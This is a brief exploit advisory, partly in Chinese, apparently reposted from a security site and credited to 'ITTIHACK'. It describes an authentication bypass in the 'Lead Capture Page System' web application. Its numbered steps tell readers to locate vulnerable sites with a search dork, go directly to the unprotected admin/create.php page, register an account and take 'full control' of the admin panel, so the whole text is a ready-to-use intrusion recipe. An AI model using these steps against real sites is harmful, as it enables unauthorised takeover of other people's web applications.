(Lead Capture Page System) Authentication Bypass Vulnerability
 
      程序: Lead Capture Page System                                                                   
      开发者: http://leadcapturepagesystem.com              
      作者: ITTIHACK   www.2cto.com  http://ittihack.com                                                           
         
概述:
通过这个问题，你可以绕过管理登陆页面, 请按照以下步骤测试：
 
      1) Use the dork above to find yours.
      2) Go to http://www.2cto.com /admin
      Now you will be redirected to login page: http://www.2cto.com /admin/login.php, you are required to login, just change the link above by this:
      3) replace login.php with create.php -->  http://www.2cto.com /admin/create.php
      4) Fill up the blanks, and Click on: Create Account
      5) Now change the URL to: http://www.2cto.com /admin/account.php
      6) That's all, full control XD